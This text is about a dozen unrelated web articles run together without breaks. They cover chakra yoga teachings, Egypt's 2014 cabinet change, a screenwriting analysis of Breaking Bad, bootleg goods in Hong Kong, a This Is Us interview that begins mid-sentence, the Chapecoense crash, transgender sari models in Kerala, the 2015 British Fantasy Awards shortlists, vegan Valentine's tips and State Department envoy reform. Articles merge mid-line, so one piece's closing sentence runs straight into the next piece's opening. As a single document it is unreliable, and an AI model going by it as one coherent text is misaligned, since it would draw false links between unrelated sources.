The Law of Dharma or Cause and Effect governs the sixth chakra. You have within you a wise voice guiding you to express the highest aspects of your nature. Listen to this still inner voice, which is guiding you to manifest your full potential. Quiet the internal turbulence that is filled with the voices of others so you can identify the sound of your own soul. It has only one desire—for you to remember your essential nature as a spark of the divine.
The Seventh Center: Consciousness Chakra
The consciousness chakra, known as dahaswara, is visualized as a lotus flower at the crown of the head. When the lotus unfolds its petals, the memory of wholeness is restored. Remember that your essential nature is unbounded, and that you are spirit in disguise as a person. This is the full expression of yoga – the unification of being with action, of universality with individuality.
The Law of Pure Potentiality governs the seventh chakra. When your roots are receiving nourishment from the earth in the first chakra, your creative juices are flowing in the second, your intentions are empowered in the third, your heart is open and exchanging love with those around you in the fourth, you are spontaneously expressing your highest self in the fifth, you are in touch with your inner voice in the sixth, only then, does energy move into the crown chakra and you remember your essential nature as infinite and unbounded. The thousand-petaled lotus flower unfolds and you know yourself as a spiritual being temporarily localized to a body and mind.
The Yoga of Meditation The Upanishads tell us, “As great as the infinite space beyond is the space within the lotus of the heart.” From the time of your birth, you have been called to explore the world outside of you. Meditation is the exploration of your inner world. Yoga encourages you to be as familiar with your inner world of thoughts, feelings, memories, desires, and imagination as you are with the outer world. When you can move through both the inner and outer domains of life with freedom and joy, you fulfill the highest purpose of yoga.
Deepak Chopra, M.D. co-founded the Chopra Center for Wellbeing in 1996 with the late Dr. David Simon, who co-wrote this article and the book The Seven Spiritual Laws of Yoga. You can learn more by visiting the Chopra Center’s resource page.Image copyright Reuters Image caption Ibrahim Mahlab was a senior official in the party of ousted President Hosni Mubarak
Egypt's president has asked outgoing housing minister Ibrahim Mahlab to form a new government, a day after the interim cabinet resigned unexpectedly.
Interim Prime Minister Hazem Beblawi did not give a clear reason for his government's resignation on Monday.
The surprise announcement came amid a series of public sector strikes and an acute shortage of cooking gas.
Mr Beblawi was appointed in July after the military overthrew President Mohammed Morsi following mass protests.
Since then, more than 1,000 people have been killed and thousands of others detained in a crackdown by the security forces on the Muslim Brotherhood, the Islamist movement to which Mr Morsi belongs.
Militants based in the Sinai peninsula have meanwhile stepped up attacks on government, police and the armed forces, killing hundreds.
'Crush terrorism'
The new prime minister designate vowed on Tuesday that his government would "crush terrorism in all the corners of the country".
There has been a spate of bomb attacks against Egyptian security forces in recent weeks.
The authorities have accused the Muslim Brotherhood of orchestrating the attacks by militants and designated it a terrorist organisation in December. The movement has vehemently denied the charge.
Image copyright AFP Image caption A bomb exploded near the police headquarters in the capital, Cairo, on 24 January
Mr Mahlab also told local media that he would focus on finding ways to stop strikes, boost employment and production, and restore calm to the country.
"Restoration of security and national unity of the Egyptian people are indispensable to move forward towards improving the living conditions of Egyptian families," he said.
Sources told the paper they expected the new government to be sworn on Saturday.
Image copyright AP Image caption There has been a sharp rise in strikes by workers at vital state facilities and key industries
Before becoming housing minister, Ibrahim Mahlab was chairman of Arab Contractors, a state-owned construction company that is one of the biggest in the Middle East.
He was a senior official in ousted President Hosni Mubarak's former ruling National Democratic Party (NDP) and was appointed to the now-disbanded upper house of parliament, the Shura Council, in 2010.
Presidential contender
The departing government is the fifth since the 2011 uprising which led to the overthrow of Hosni Mubarak.
Mr Beblawi announced his cabinet's resignation on Monday during a 15-minute speech on live television, in which he said Egypt was facing "huge dangers".
"The cabinet has over the past six or seven months shouldered a very difficult responsibility... in most cases the results were good," he said.
Image copyright Reuters Image caption Army chief Abdul Fattah al-Sisi is expected to announce that he will run for president
"This is neither the time for demands by public workers nor the time for personal interests, but the time for us to put our country's interests above all others."
Mr Beblawi has been criticised in local media for his perceived indecisiveness and inability to deal with the country's economic woes.
The cabinet made its decision to submit its resignation to interim President Adly Mansour after a 30-minute meeting.
The meeting was attended by Field Marshal Abdul Fattah al-Sisi, the commander-in-chief of the armed forces, defence minister and first deputy prime minister.
He is widely expected to announce soon that he will step down from both posts and run for president.
According to the new constitution approved in January, an election must take place by mid-April.
Correspondents say Field Marshal Sisi would be likely to win, given his popularity and the lack of any serious rivals.Screenwriting Article – Why Breaking Bad Is So Breaking Good
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So for those of you on my newsletter, you know I posed the question last week of, which article did you want me to write?: Why Breaking Bad is so good, or why The Fast and the Furious franchise is so successful. Now a lot of you may think this is a no-brainer. Breaking Bad is one of the best written shows in television history. The Fast and The Furious is eye-candy, fast cars and hot women. But here’s why it was a close vote. Readers pointed out that they knew why Breaking Bad was so good. It wore its great writing on its sleeve. What they couldn’t figure out was how this seemingly vapid car franchise was one of the biggest franchises in history with no hints of slowing down. That needed explaining. And what intrigued ME about it was The Fast and the Furious franchise started as a spec! That means it’s the only spec-driven franchise in decades that was able to hang with the likes of IP properties Batman, Harry Potter, Lord of the Rings, etc. To think that one of you guys could learn from that and start your own franchise based on a spec – I thought that was worth exploring.
So then why am I going with Breaking Bad instead of Furious? For the simple reason that I haven’t figured out what makes The Fast and The Furious so successful from a screenwriting point of view. From a concept point of view and from a casting point of view, I know. But I’m going to have to delve back into the franchise’s scripts to see why it stands out from other similar movies (like Driven and Gone in Sixty Seconds). Breaking Bad, on the other hand, oozes good writing in just about every episode, which is really hard to do (to give you some perspective, I’ve been going back over Lost and found some real dud eps – there’s an episode where Sawyer chases a boar. That’s the whole episode!). So I thought, why not show everyone how to do it right?
For those of you who don’t know anything about Breaking Bad, it’s about a high school teacher, Walter White, who finds out he’s dying of cancer. Walter has a special needs son and a pregnant wife and if he were to die today, they’d have zip to live off of. So Walter needs to make a lot of money really fast before he dies. Being a chemistry professor, he realizes that making meth offers the biggest buck for its bang. All he needs is someone to sell it. Enter his former flunky student and current small-time dope dealer, Jesse. The two are the most unlikely pair, but when Jesse realizes how much money Walter (or “Mr. White” as he knows him) can make him, he jumps on board. Of course, since the two have no idea how the upper-level drug trade works, their world gets really crazy really fast.
Breaking Bad works for a ton reasons. First, Walter is leading a double life. He must be the upstanding family man in one world, and the relentless drug producer in another. Remember that double-lives lead to one of the most powerful storytelling devices there is: dramatic irony. We know Walter is secretly a drug dealer, but his wife and family and friends do not. This means in most of the scenes, he’s hiding something, and when one character is hiding something from another, the scene is always watchable. Will he get caught? Is someone on to him? What happens if they catch him? We have to know! It’s the same reason why characters like Superman and Batman and Spider-Man have lasted for so long. The double-life thing leads to a lot of easy-to-write scenarios.
Then there are all the little things. Vince Gilligan (the creator) makes Walter’s brother-in-law a D.E.A. agent. Now we don’t just have dramatic irony, we have sky-high stakes. If his brother-in-law finds out he’s making meth? He’s in jail for life! And his brother is always around! We also have the “climbing the drug ladder” aspect of the series. We love watching characters climb up organizations, especially through the drug trade. The baddies keep getting badder and the stakes keep getting higher. It’s why we love Scarface. It’s why we love Goodfellas.
And then the show is funny! When I first heard about Breaking Bad, I mentally tuned it out. A guy dying of cancer? No thanks Depression Channel. But Gilligan makes sure this isn’t a downbeat show. Breaking Bad is packed with humor! In this episode I’m highlighting today, there’s a great scene where Walter and Jesse have a little “teacher-to-student” moment that plays up the silliness of their dynamic (Walter’s trying to teach Jesse about all those things he missed in high school via the battery they’re building. The clueless Jesse proves he hasn’t learned a thing). It’s hilarious. That balance evens out the intensity of the cancer storyline.
And then, of course, there’s the strained Walter-Jesse dynamic, which is the heart of the show. Conflict people. CONFLICT! Not only is this pairing exceptionally ironic (a goody-two-shoes chemistry teacher must go to one of his worst former students for help in the drug trade), but because this is the most unlikely pair in existence, and because they come from two totally different worlds, they’re always at odds with one another, always arguing or debating, and it’s always entertaining. They’re one of the best pairings in TV history.
Which leads us to the episode I’m highlighting today. I knew I couldn’t breaking down ALL of Breaking Bad. It’d be a 20,000 word post. So I looked for an episode that encapsulated what I loved about the show. That episode is “4 Days Out.” It’s the ninth episode of the second season, and Walter’s just learned that he isn’t anywhere near his target money number (the final amount of money he needs so his family can live comfortably after he dies – what I call: The Overall Series Goal).
He’s just received a terrible diagnosis, meaning he may die a lot sooner than he thought. So he calls Jesse and tells him they need to go make a ton of meth RIGHT NOW. The two drive their mobile meth lab (a dying Winnebago) out into the middle of the New Mexico desert, where they won’t be found, and make 1.3 million dollars worth of meth. Time to party right? Yeah. Except Jesse, who’s always doing something moronic, left the keys in the ignition. The battery is dead. The two begin to realize that no one knows where they are (and even if they did, it’s not like Walter can call his wife to pick them up). They’re too far away from anywhere to walk. And there’s no water left. If they don’t figure out a solution soon, they will die out here.
To me, the best television episodes establish a problem or a goal right away. This makes the episode feel self-contained and relevant. Whenever an episode deals with a series of threads and don’t have any form, it tends to feel unfocused and pointless. Every TV show has to do these episodes at some point, and if the threads are interesting enough (or the show is paying off some earlier season mystery), the episode can sometimes overcome this problem. But usually the episodes that stick are the ones that not only work for the show, but work on their own.
“4 Days Out” is not only a master class in how to write a good television episode, it’s a master class in how to write a good movie. Just like in any story, you want to propose a problem. That problem will then lead to a goal. That goal will drive your characters, which will, in turn, drive your episode. In this case, the problem is they’re stuck out in the desert with a dead Winnebago. The goal, then, is to find a way out of the desert to safety.
From there, you provide the stakes. The stakes in this case start off as annoyance, but quickly escalate to death. It’s clear that if they don’t figure out something soon, they’re going to be a permanent part of the horizon. Finally, you have the urgency. With water gone, they’ve got maybe 3 days before they’re dead. This is the basic structure for the episode and it’s practically full-proof. Everything is in place to write something compelling.
That leads us to our next essential ingredient – CONFLICT. If your characters are getting along during this predicament, we’re bored. You, then, need to create friction, create problems and issues between the characters, which will usually revolve around the characters having different points of views on how to solve the problem. Luckily Gilligan establishes at the beginning of the Breaking Bad series that Jesse and Walter really dislike each other. Therefore, it’s only natural that they start bickering like schoolgirls when the battery dies. Goals stakes and urgency set up the party. Conflict IS the party.
Next comes obstacles. Things have to keep getting worse over the course of the story. If the problem stays at the same level, our emotions remain at the same level. You want to play with the audience’s emotions. Obstacles help you do this. So first the generator blows up. Then Jesse puts it out with their remaining water (leaving them with no water to drink). Then the guy who’s supposed to pick them up – Jessie’s druggie friend – gets lost (it’s hard to give directions to the middle of nowhere), Then Walt’s phone goes dead. And their last ditch effort to manually rig the generator fails too. The obstacles have left them with no options left.
This puts the characters at their “lowest point.” We think these two are dead. They think they’re dead. There’s obviously no way out of this. But then our characters (NOT SOME RANDOM DEUS-EX-MACHINA LUCKY BREAK) conceive of a plan (born out of chemistry – so an established part of one of our character’s backgrounds) to build a battery from spare parts. They put away their differences for a moment to work together, and against all odds, somehow make it work! They’ve saved themselves!
Now that’s how to tell a story!
There were a couple of other things I noticed here as well. I love how when Gilligan brings us to a high (they count up all the meth they just made and realize it’s worth 1.3 million dollars) he immediately slams us back down to a low (they find out the battery’s dead). That’s what you want to do with your audience. You should always be bringing them up, then bringing them back down again. I also liked how Gilligan didn’t do the obvious. Writers are inherently lazy people. If we can take the easy way out, we will. It would’ve been really easy here to have it so neither characters’ phone worked. But Gilligan makes it so that Walter’s does, which is more realistic, and forces the writers to work a little harder to keep their characters in harm’s way. It leads to the thread where Jesse calls his stoner friend to come get them. And then of course, later, we find out his friend is lost (once again, bring them up high, then bring them down low). If you take the easy ways out as a writer, your script will read that way. Which is why I loved this choice.
It’s pretty rare that you encounter this level of writing on a consistent basis. I just reviewed the Dracula pilot the other day (the new show on NBC) and it was fine. The goal was a little muddled. The stakes were kind of there. You’re not sure you noticed any urgency. You realize how much better writing can be when you watch Breaking Bad. And revisiting this episode only reinforced that opinion. I had so much fun with, “Four Days Out,” maybe I’ll do another Breaking Bad episode some time. What about you guys? What aspect of Breaking Bad’s writing do YOU enjoy the most. Share. I want to learn too! ☺In our quest to show you how to world does bootleg, we continue our Legit Check series at the front gates of arguably the world’s mecca for fake goods – Hong Kong, China. Hong Kong is place of many grey areas and contradictions. Amidst the recent efforts via the government on cracking down on fake goods, knockoffs continue to find their way into busy street stalls and arcade malls; it doesn’t help that the factories producing the real McCoy (and the world’s best fakes) are only a 30-minute train ride away.
Rather than venture to various locations in search for our outfits, we decided for a one-stop shop approach in a neighborhood notorious for bootlegs: Mong Kok. I’ll admit, counterfeit goods aren’t as overt as they used to be some 12 years ago when I would travel here with my family on summer holiday. Gone are the flock of boisterous street peddlers, and laminated, low-resolution printouts advertising an array of fake goods. Don’t get me wrong, they still exist, they just aren’t as in-your-face anymore.
Ever since the government’s clampdown on the sales of fake goods — I want to say they really cracked down in 2005, when there would be weekly raids and large arrests on the streets — prices for non-official products have shot up. You have to understand that Hong Kong is one of the largest markets for luxury goods, so you can imagine the pressure HK officials were feeling at the time from the luxury brands invested in the city. The issue was also extending to the piracy of things like software and Hollywood films — the Triads in many cities made a decent hustle by selling pirated DVDs.
One of the bigger moves from the gov’t was to issue a sort of certification denoting which stores have been authenticated, and can be quickly searched online for reassurance. One pitfall to this form of deterrence is that you can easily replicate the sticker, making a fake of something that was supposed stop fakes, so that you can continue selling fakes (#bootleginception). Sellers of fake goods have since smartened up, and use alternative channels such as social media as a means to shift their product |
saw Rebecca and stood the other girl up. But we saw him at the bar at 8:30 p.m. when he realized that he forgot about the 7:30 p.m. date. When he told Rebecca that she was his “big break,” he didn’t mention what really happened: That he forgot about the date and that he was going to steal money from a bar. Why did he lie/omit that?
It’s interesting, I never really thought about that.… I think in the back of my head, Jack has probably told her about his fallen past, and maybe just on the heels of a split, maybe he just starts thinking back, “God, I was actually supposed to have a date that night” as he’s thinking back on it. I don’t think it’s a huge lie or omission. I think in some shape or form, she probably knew.
Is this a good marriage? There has been love there, but what is this relationship right now?
The key line in it all is when Rebecca says to him, “The next time you tell me you love me, make sure you’re not just doing it out of habit.” It’s a thing that I think people go through when they are in deeper stages of marriage, where you’re going through the motions or forgetting to validate or give the other person what they need in their life the way that you used to when things were fresher and younger. That’s really at the crux of a lot of what’s going on, along with the specifics of her career and his drinking.
Very early in the episode, we learn that Jack did not die drunkenly in a car crash, which will please a lot of people who were not ready to see him die and a lot of others who would say, “No, that seems too obvious!” after what was shown at the end of the last episode. Do you think some fans will be disappointed, though, that they didn’t learn more about how he died?
It’s going to be our complicated thing to navigate until it actually happens in the show as giving and not frustrating and not showing too much. What this episode does more than anything is it puts in the distant mirror in a different way. If I started to say to the audience, “Here, this should be it,” having watched what the reaction is in a good way — but also in a real way — to William passing away, I think it’s a good thing to kind of slowly get the audience there mentally and emotionally (laughs). And then the relief that they feel when it’s not, it maybe gives them a precursor to what they might feel at some point.
RELATED VIDEO: Milo Ventimiglia & Mandy Moore Admit ‘There Was a Lot of Tension on Set’ of the This Is Us Finale
Near the end of the last episode, Kate tells Toby, “It’s my fault that Jack died. I’m the reason he’s dead.” Is that true on any level, or is she just haunted by guilt that she probably shouldn’t feel?
Even though Jack doesn’t die in the drunk-driving accident like it might look like there, the basic thing I can say there is: When Kate says that to Toby, it’s very real. And if, hypothetically, Jack had died in this car crash having followed Kate’s advice to go see her mother, it will be the equivalent feeling when it does happen. Meaning that Kate does harbor the belief that she’s responsible. It’s not something that we threw in there to make a great ending of the episode. Kate’s side of it is definitely 100 percent how she feels, and what she carries.
How did you and the writers decide how many details about Jack’s death you wanted the audience to know by the end of the season? How do you find that balance of giving some information but not stringing out too long?
There’s a lot known at this point. We know that Jack has died, we know that it happened roughly in this time period — exactly when we’re not sure — we know that Kate feels responsible and carries in some ways the heaviest burden. We know that Rebecca in present day still wears the moon necklace, which we have to consider, so there’s a lot of information given. But there’s still a lot of things looming: Exactly when did it happen? Exactly how did it happen? I think the biggest question — and the question that’s become a bigger question than how Jack died to me — is: What state was Jack and Rebecca’s marriage when it happened? And in terms of the Jack and Rebecca in this timeline, when we return to it in season 2, that’s very much what we will be exploring. For people who watch the how, based off the ending and Jack walking away and Rebecca clearly touching that necklace and thinking of him, I think there’s a reason to be hopeful even as we’re sad, which I think is a good mantra for the show: Hopeful, but sad.
OutbrainCLOSE Several players on the Chapecoense soccer team shared their smiles and excitement on social media as they boarded their flight to Colombia. Their plane crashed on the way to the Copa Sudamerica finals in Medellin. USA TODAY NETWORK
In this Nov. 29, 2016 file photo, rescue workers recover a body from the wreckage site of the LaMia chartered airplane crash, in La Union, a mountainous area near Medellin, Colombia. In a statement, Colombian aviation authorities say a preliminary investigation has found that the plane that crashed just outside of Medellin with a Brazilian soccer team aboard had run out of fuel. (Photo11: Fernando Vergara, AP)
BOGOTA, Colombia - Colombian aviation authorities said Monday that an airliner that crashed with a Brazilian soccer team aboard had run out of fuel before it could land. Seventy-one people died in the Nov. 28 accident.
A statement by the Civil Aeronautics agency said the conclusion was based on the plane’s black boxes and other evidence. It said the evidence points to human error rather than technical problems or sabotage.
Experts had earlier suggested that fuel exhaustion was a likely cause of the crash that wiped out all but a few members of the Chapocoense soccer team, as well as team officials and journalists accompanying them to a championship playoff match in Medellin, Colombia.
The BAE 146 Avro RJ85 has a maximum range was 2,965 kilometers (1,600 nautical miles) — just under the distance between Medellin and Santa Cruz, Bolivia, where the plane had taken off at almost full capacity.
The plane was in the air for about 4 hours and 20 minutes when air traffic controllers in Medellin put it into a holding pattern because another flight had reported a suspected fuel leak and was given priority.
In a recording of a radio message from the pilot of the LaMia flight, he can be heard repeatedly requesting permission to land due to a lack of fuel and a “total electric failure.”
A surviving flight attendant and a pilot flying nearby also overheard the frantic pleas from the doomed airliner.
In addition, there was no explosion upon impact, pointing to a scarcity of fuel.Image copyright Fijoy Joseph
In a highly unusual move, a designer in the southern Indian state of Kerala has launched her new collection of saris, featuring two transgender models, writes the BBC's Geeta Pandey in Delhi.
Sharmila Nair's collection is called Mazhavil - or, the rainbow - and it's "dedicated to transgender people because globally they are represented by rainbow flags".
In India, where transgender people are looked down upon by the larger society and are considered as the in-between people who are to be ridiculed and shunned, Ms Nair's choice of models is attracting a lot of attention.
Image copyright Fijoy Joseph
The models - Maya Menon and Gowri Savitri - have no previous experience in modelling and Ms Nair says she found them through Queerala, an organisation that works with the LGBT (lesbians, gays, bisexual and transgender) people in Kerala.
"I was thinking about how I was going to showcase this collection of handloom saris and I saw a Facebook post about the state government's new policy to better the lives of transgender people.
"I thought since the government was doing so much for the LGBT people, I should also do something," Ms Nair told the BBC on phone from Cochin.
Image copyright Fijoy Joseph
Ms Nair, who never uses professional models in her campaigns, says she had two criteria for selecting the models for her latest campaign.
"We were just looking for models who love wearing saris and who would be comfortable in front of the camera. We didn't want them posing too much."
Image copyright Fijoy Joseph
Both Maya and Gowri are "transgender women, trapped in male bodies", says Ms Nair.
The designer says she had been sent their photographs in saris, but when she met them they were dressed as men, in shirts and trousers.
"When we dressed them up in our saris for the campaign, they were totally transformed. They looked so gorgeous," she says.
Image copyright Fijoy Joseph
Ms Nair, 25, is selling the saris under her label Red Lotus which she launched seven months ago.
"My husband is from Kerala but he lived in Tamil Nadu for a long time. It was from his family that I heard about this Tamil myth that the fibre from the red lotus flower was used to weave clothes for gods and goddesses. So I named my company after the flower," she says.
Image copyright Fijoy Joseph
The collection of brightly coloured saris and the stunning models have won rave reviews and the Kochi-based designer says that purchase orders have been pouring in from India and abroad.
Made by weavers in a small village in Hubli district in the neighbouring state of Karnataka, the saris are priced between 1,500 rupees ($23; £16) and 2,500 rupees ($38; £26).
"In the past two weeks, we've already sold more than 100 saris. Besides people in India, we've received lots of orders from Britain, Singapore, Australia and the US," Ms Nair says.
Image copyright Fijoy Joseph
However, the choice of transgender models hasn't gone down well with some who say the designer is "using cross-dressers as models to gain publicity".
In a country where the transgender community remains socially excluded, living on the fringes of society, with members make a living by singing and dancing at weddings or child births or begging and prostitution, Ms Nair defends her choice.
The models, both 29, are college graduates, but they are unemployed because they are transgender, she says.
This assignment has brought them visibility and the designer says she hopes that it will also bring them acceptability so that they can get employment.These are the shortlists for the British Fantasy Awards 2015.
Four nominees in each category were decided by the votes of BFS members and the attendees of FantasyCon 2014 and FantasyCon 2015. The exceptions are the collection and non-fiction categories, in which two items drawing for fourth place could not be separated and both were put through to the shortlist.
Up to two further nominees in each category were added by the juries as “egregious omissions” under the rules.
Best anthology
The Alchemy Press Book of Urban Mythic 2, ed. Jan Edwards and Jenny Barber (The Alchemy Press)
Horror Uncut: Tales of Social Insecurity and Economic Unease, ed. by Joel Lane and Tom Johnstone (Gray Friar Press)
Lightspeed: Women Destroy Science Fiction Special Issue, ed. Christie Yant (Lightspeed Magazine)
The Spectral Book of Horror Stories, ed. Mark Morris (Spectral Press)
Terror Tales of Wales, ed. Paul Finch (Gray Friar Press)
Best artist
Ben Baldwin
Vincent Chong
Les Edwards
Sarah Anne Langton
Karla Ortiz
Daniele Serra
Best collection
Black Gods Kiss, Lavie Tidhar (PS Publishing)
The Bright Day Is Done, Carole Johnstone (Gray Friar Press)
Gifts for the One Who Comes After, Helen Marshall (ChiZine Publications)
Nick Nightmare Investigates, Adrian Cole (The Alchemy Press and Airgedlámh Publications)
Scruffians! Stories of Better Sodomites, Hal Duncan (Lethe Press)
Best comic/graphic novel
Cemetery Girl, Charlaine Harris, Christopher Golden and Don Kramer (Jo Fletcher Books)
Grandville Noël, Bryan Talbot (Jonathan Cape)
Saga, Brian K. Vaughan and Fiona Staples (Image Comics)
Seconds, Bryan Lee O’Malley (SelfMadeHero)
Through the Woods, Emily Carroll (Margaret K. McElderry Books)
The Wicked + The Divine, Kieron Gillen and Jamie McKelvie (Image Comics)
Best fantasy novel (the Robert Holdstock Award)
Breed, KT Davies (Fox Spirit Books)
City of Stairs, Robert Jackson Bennett (Jo Fletcher Books)
Cuckoo Song, Frances Hardinge (Macmillan Children’s Books)
A Man Lies Dreaming, Lavie Tidhar (Hodder & Stoughton)
The Moon King, Neil Williamson (NewCon Press)
The Relic Guild, Edward Cox (Gollancz)
Best film/television episode
Birdman: Or (The Unexpected Virtue of Ignorance), Alejandro González Iñárritu (Fox Searchlight Pictures)
Black Mirror: White Christmas, Charlie Brooker (Channel 4)
Guardians of the Galaxy, James Gunn and Nicole Perlman (Marvel Studios)
Interstellar, Christopher Nolan and Jonathan Nolan (Paramount Pictures)
Under the Skin, Walter Campbell and Jonathan Glazer (Film4 et al)
Best horror novel (the August Derleth Award)
The End, Gary McMahon (NewCon Press)
The Girl With All the Gifts, M.R. Carey (Orbit)
The Last Plague, Rich Hawkins (Crowded Quarantine Publications)
No One Gets Out Alive, Adam Nevill (Macmillan)
Station Eleven, Emily St John Mandel (Picador/Knopf)
The Unquiet House, Alison Littlewood (Jo Fletcher Books)
Best independent press
The Alchemy Press (Peter Coleborn and Jan Edwards)
Fox Spirit Books (Adele Wearing)
NewCon Press (Ian Whates)
Spectral Press (Simon Marshall-Jones)
Best magazine/periodical
Black Static, ed. Andy Cox (TTA Press)
Holdfast Magazine, ed. Laurel Sills and Lucy Smee (Laurel Sills and Lucy Smee)
Interzone, ed. by Andy Cox (TTA Press)
Lightspeed, ed. John Joseph Adams (Lightspeed Magazine)
Sein und Werden, ed. Rachel Kendall (ISMs Press)
Best newcomer (the Sydney J. Bounds Award)
Edward Cox, for The Relic Guild (Gollancz)
Sarah Lotz, for The Three (Hodder & Stoughton)
Laura Mauro, for Ptichka (Horror Uncut: Tales of Social Insecurity and Economic Unease)
Den Patrick, for The Boy with the Porcelain Blade (Gollancz)
Jen Williams, for The Copper Promise (Headline)
Best non-fiction
D.F. Lewis Dreamcatcher Real-Time Reviews, D.F. Lewis (D.F. Lewis)
Ginger Nuts of Horror, ed. Jim McLeod (Jim McLeod)
Letters to Arkham: The Letters of Ramsey Campbell and August Derleth, 1961–1971, ed. S.T. Joshi (PS Publishing)
Rhapsody: Notes on Strange Fictions, Hal Duncan (Lethe Press)
Sibilant Fricative: Essays & Reviews, Adam Roberts (Steel Quill Books )
Touchstones: Essays on the Fantastic, John Howard (The Alchemy Press)
You Are the Hero: A History of Fighting Fantasy Gamebooks, Jonathan Green (Snowbooks)
Best novella
Cold Turkey, Carole Johnstone (TTA Press)
Drive, Mark West (Pendragon Press)
Newspaper Heart, Stephen Volk (The Spectral Book of Horror Stories)
Water For Drowning, Ray Cluley (This Is Horror)
Best short story
A Change of Heart, Gaie Sebold (Wicked Women)
The Girl on the Suicide Bridge, J.A. Mains (Beside the Seaside)
Ptichka, Laura Mauro (Horror Uncut: Tales of Social Insecurity and Economic Unease)
A Woman’s Place, Emma Newman (Two Hundred and Twenty-One Baker Streets)
The winners of these awards will now be decided by the previously announced juries, while the British Fantasy Society committee has the task of deciding the winner of the special award (the Karl Edward Wagner Award). The winners will be announced at the awards ceremony on Sunday, 25 October 2015, at FantasyCon 2015 in Nottingham.
The British Fantasy Awards constitution can be read here.
Please send any queries and corrections to the awards administrator, Stephen Theaker, at bfsawards@britishfantasysociety.org.Damage Control, a comedy set in the Marvel Cinematic Universe, is currently in development as a television series at ABC, Variety reports.
According to the series description, the Marvel cleaning crew specializes in dealing with the aftermath of the unique fallout from super hero conflicts. They are the ones who are in charge of returning lost ray guns to their rightful owners, help to reschedule a wedding venue after it has been vaporized in a super hero battle or even track down a missing prize African parrot that’s been turned to stone or goo. Sometimes the most important super heroes are the ones behind the scenes — and that’s who “Damage Control” will follow.
Before the network announced Marvel's Agents of S.H.I.E.L.D., former Cougar Town and Enlisted showrunner Kevin Biegel reportedly was developing a Damage Control project. "I also flirted for two seconds/talked about trying to do a Damage Control show with a famous cool director that I barely know. We talked about it like four times over e-mail, that's it -- and then Shield [sic] was announced (f yer periods) and we were like, yeah... no one would want to do that."5 Tips for a Sexy, Vegan Valentine's Day
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January is over, and you know what that means: the dark, cold days of February are upon us. Luckily, there is one bright spot during the shortest month of the year: Valentine’s Day. Sure, some people proclaim that it’s a Hallmark holiday, and others love to hate on the celebration of romance, but it can be a great day — if you do it right. So, whether you’re already part of a cozy twosome, or you’re looking to win points with your crush, check out our top five tips for a romantic, animal-free holiday date.
1. Set The Mood
Step one for a romantic night: create the right atmosphere. And nothing says sexy like lots of flickering candles. Not only do they create a cozy environment, but the soft light is universally flattering, which is key if you hope your evening ends with your clothes on the floor. Check out the naughty selections from A Scent of Scandal, whose vegan creations come in scents such as Morning Wood, Good in Bed and Get Lei’d. And while you’re at it, put on some sexy music, too. Anything from Beethoven to Britney can work, as long as it gets you in the mood.
2. Pop A Cork
Yucky fact: not all wine is vegan. While grapes are certainly animal-free, many commercial vineyards use gelatin or isinglass (aka fish bladders) to clarify the vino. But that doesn’t mean vegans have to be teetotalers. There are plenty of vegan wines on the market, if you know where to look. Whether you want a festive bubbly, a crispy white or a moody, dark red, The Organic Wine Company has got you covered. Not only do they offer of great selection of organic, vegan wine, some options are also biodynamic! So go ahead, get a little tipsy.
3. Serve Sensual Snacks
From light finger foods that won’t leave you feeling heavy (which could be important as the evening goes on) to rich, decadent dishes, there are hundreds of vegan menu options that entice the palate and tickle the senses. Why not try Creamy Kale Stuffed Mushrooms, Spinach Snackers, or Roasted Acorn Squash Risotto? Want something more traditional? Then you can’t go wrong with good old pasta; it’s classic for a reason. Vegan Tortellini or Tomato and Basil Pasta might be just the thing. Truly, all it takes to make a fantastic vegan feast is a little creativity and the internet. Just google “vegan recipes” and you’ll get more results than you can count.
Also don’t forget to browse our Top 10 Vegan Valentine’s Day Recipes!
And if you’re absolutely hopeless in the kitchen, don’t despair. Although a home cooked meal is certainly sexy, dining out is definitely an option. Vegan restaurants across the country are offering special holiday treats. Urban Food Crawl in L.A. is hosting vegan food tours, and NYC hot spots like Blossom, Candle 79 and Pure Food and Wine almost always serve a special holiday menu. If you don’t live in either of those cities, check with your local vegan restaurant; it’s almost guaranteed that they’ll be serving something special. One word of advice, no matter where you eat: if you plan on getting extra close to your honey, you might want to avoid garlic.
4. Dabble with Dessert
When it comes to sexy Valentine’s desserts, there’s really only one way to go: chocolate. Want something a little high-end and unconventional? Try vegan truffles. Allison’s Gourmet has a wide assortment of truffles, barks and patties that are beautifully crafted, and there are plenty of recipes out there if you want to try making your own. If you’re looking for more conventional, heart-shaped chocolates, we’ve got you covered with those as well. The Lagusta’s Luscious vegan “My Heart is Yours bonbon-filled chocolate heart” was made for the holiday, and Farm Sanctuary’s organic Chocolate Hearts not only taste delicious, but help benefit animals as well.
Down and dirty a little more your style? Then go for vegan chocolate fondue. Spread out some dippers (strawberries, bananas, nuts and pretzels are all good options), feed your sweetie, and lick the chocolate off each other’s hands — and possibly other parts.
5. Get Your Groove On
Hopefully, if you followed all of our tips above, your night will end on a naked note (at least, if that’s what you’re going for). And as the Boy Scouts say, it’s always best to be prepared. So check out The Sensual Vegan — the website has everything you need to get down, from condoms to lubes and toys to books. No time to order online? Good Clean Love also has some vegan options, and you can purchase their products at Whole Foods and other retailers.
There you go: all the tips and tools you need for the best Valentine’s Day ever. So get to work planning that sexy date — after all, the big day is only two weeks away!
*Items shown in featured photos are not necessarily the vegan items described in this post.The State Department’s special envoys have long needed reform. That reform could be just around the corner if Secretary of State Rex Tillerson’s new proposal pans out.
Earlier this week, Tillerson sent a letter to Chairman Bob Corker of the Senate Foreign Relations Committee detailing his plans for eliminating and reorganizing nearly 70 special envoys, representatives, coordinators, and other senior positions that have proliferated over the years.
Some have cast Tillerson’s proposal as illustrative of the Trump administration’s disregard for the issues that envoys address. But Tillerson’s proposal has far more to do with efficiency, policy coherence, and reasserting the primacy of the State Department’s regional and functional bureaus.
Special envoys can be useful tools to cut across bureaucratic silos to bring focus to discrete issues, and their special status can grant access not available to lower-level officials.
However, there are also significant downsides. Special envoys frequently see themselves as direct representatives of the secretary or even the president, with the authority to act outside of normal State Department lines of authority.
This can foment tensions with the existing State Department bureaucracy that holds overlapping responsibilities, undermine the authority of U.S. ambassadors, and create confusion for foreign governments as to who actually represents the president.
Based on the letter, Tillerson has concluded that the downsides of special envoys outweigh the benefits in most cases and wants to reverse the expansion of special envoys that occurred under the previous administration:
